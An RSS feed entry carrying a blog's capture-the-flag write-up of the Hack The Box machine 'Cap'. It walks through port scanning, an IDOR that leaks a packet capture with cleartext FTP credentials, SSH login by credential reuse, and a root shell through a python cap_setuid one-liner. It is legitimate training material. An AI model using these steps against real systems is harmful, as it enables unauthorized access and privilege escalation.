<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Linux on Santos Zuberbuhler</title><link>https://szuberbuhler.com/tags/linux/</link><description>Recent content in Linux on Santos Zuberbuhler</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><managingEditor>contact@szuberbuhler.com (Santos Zuberbuhler)</managingEditor><webMaster>contact@szuberbuhler.com (Santos Zuberbuhler)</webMaster><lastBuildDate>Sun, 30 Aug 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://szuberbuhler.com/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>HTB: Cap</title><link>https://szuberbuhler.com/writeups/cap/</link><pubDate>Sun, 30 Aug 2026 00:00:00 +0000</pubDate><author>contact@szuberbuhler.com (Santos Zuberbuhler)</author><guid>https://szuberbuhler.com/writeups/cap/</guid><description>First public writeup: IDOR in a security dashboard leaks an FTP capture with credentials, then a python capability flips the box.</description><content:encoded><![CDATA[<blockquote>
<p><strong>MACHINE</strong> · <strong>Easy</strong> · <strong>Linux</strong></p>
</blockquote>
<p>This is my first public writeup, so I tried to document the whole process including the parts where I got stuck. Flags are redacted.</p>
<h2 id="reconnaissance">Reconnaissance</h2>
<p>Started with a full port scan to see what was exposed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nmap -Pn -p- --min-rate <span style="color:#bd93f9">5000</span> -oA scans/cap-allports &lt;IP&gt;
</span></span></code></pre></div><p>Three ports open:</p>
<pre tabindex="0"><code>PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
</code></pre><p>Followed up with a version scan on those:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nmap -Pn -sCV -p 21,22,80 -oA scans/cap-sv.nmap &lt;IP&gt;
</span></span></code></pre></div><pre tabindex="0"><code>PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
</code></pre><p>Tried anonymous FTP first, no luck:</p>
<pre tabindex="0"><code>220 (vsFTPd 3.0.3)
Name: anonymous
331 Please specify the password.
530 Login incorrect.
</code></pre><p>So the entry point had to be the web app.</p>
<h2 id="foothold">Foothold</h2>
<p>The site is a &ldquo;Security Dashboard&rdquo; running on Gunicorn. Two interesting pages: <code>/ip</code>, which leaks the server&rsquo;s <code>ifconfig</code> output, and <code>/data/{id}</code>, which shows packet statistics and offers a pcap download.</p>
<p>The dashboard loads <code>/data/1</code> by default and it is empty, zero packets on every counter:</p>
<p><img loading="lazy" src="/writeups/cap/images/data.png" type="" alt="Empty packet capture on /data/1"  /></p>
<p>Swapping the id for <code>0</code> returns an actual capture with 72 packets. The app hands over any capture id without checking who it belongs to, so I got a capture that wasn&rsquo;t the one my session created: a classic IDOR.</p>
<p><img loading="lazy" src="/writeups/cap/images/data0.png" type="" alt="Packet capture data on /data/0"  /></p>
<p>I downloaded the pcap and opened it in Wireshark. FTP is cleartext, so the credentials are right there:</p>
<pre tabindex="0"><code>36  4.126500  192.168.196.1  192.168.196.16  FTP  69  Request: USER nathan
40  5.424990  192.168.196.1  192.168.196.16  FTP  78  Request: PASS &lt;REDACTED&gt;
</code></pre><p>Two FTP commands from the client host, user and password in the open.</p>
<p>Logged in over FTP with those credentials and grabbed the user flag:</p>
<pre tabindex="0"><code>ftp&gt; dir
229 Entering Extended Passive Mode (|||54762|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Aug 30 15:42 user.txt
226 Directory send OK.
ftp&gt; get user.txt
</code></pre><p>Then I went for a shell. SSH as root was denied, but reusing the FTP user and password worked:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh nathan@&lt;IP&gt;
</span></span></code></pre></div><pre tabindex="0"><code>Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
...
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
</code></pre><p>The <code>user.txt</code> in the home directory matched the flag I had already pulled over FTP.</p>
<h2 id="privilege-escalation">Privilege Escalation</h2>
<p>Downloaded linpeas and copied it over with scp (SSH access was already there):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O ~/linpeas.sh
</span></span><span style="display:flex;"><span>scp linpeas.sh nathan@&lt;IP&gt;:/tmp/
</span></span></code></pre></div><p>On the victim:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash /tmp/linpeas.sh
</span></span></code></pre></div><p>The key finding was in the capabilities section:</p>
<pre tabindex="0"><code>Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
</code></pre><p>Python with <code>cap_setuid</code> in the effective set means it can change its own UID to anything, root included:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/usr/bin/python3.8 -c <span style="color:#f1fa8c">&#39;import os; os.setuid(0); os.system(&#34;/bin/bash&#34;)&#39;</span>
</span></span></code></pre></div><pre tabindex="0"><code>root@cap:~# cd /root
root@cap:/root# cat root.txt
&lt;REDACTED&gt;
</code></pre><p>A note on dead ends: I also spotted pkexec SUID (CVE-2021-4034, PwnKit) and a writable <code>/var/www/html/app.py</code>. I discarded the app.py route because the analyzer service runs as <code>User=nathan</code>, so editing it would only give me a shell as the user I already was. The kernel CVEs (OverlayFS, CVE-2021-22555) were viable but crash-risky, and linpeas handed me a cleaner path first.</p>
<h2 id="attack-flow">Attack Flow</h2>
<p>A quick summary of the full chain:</p>
<ol>
<li><code>/data/{id}</code> on the dashboard has an IDOR: id 0 leaks a network capture my session didn&rsquo;t create.</li>
<li>The pcap contains FTP credentials in cleartext, valid for both FTP and SSH as <code>nathan</code>.</li>
<li>linpeas finds <code>cap_setuid</code> on <code>/usr/bin/python3.8</code>, which escalates straight to root.</li>
</ol>
]]></content:encoded></item></channel></rss>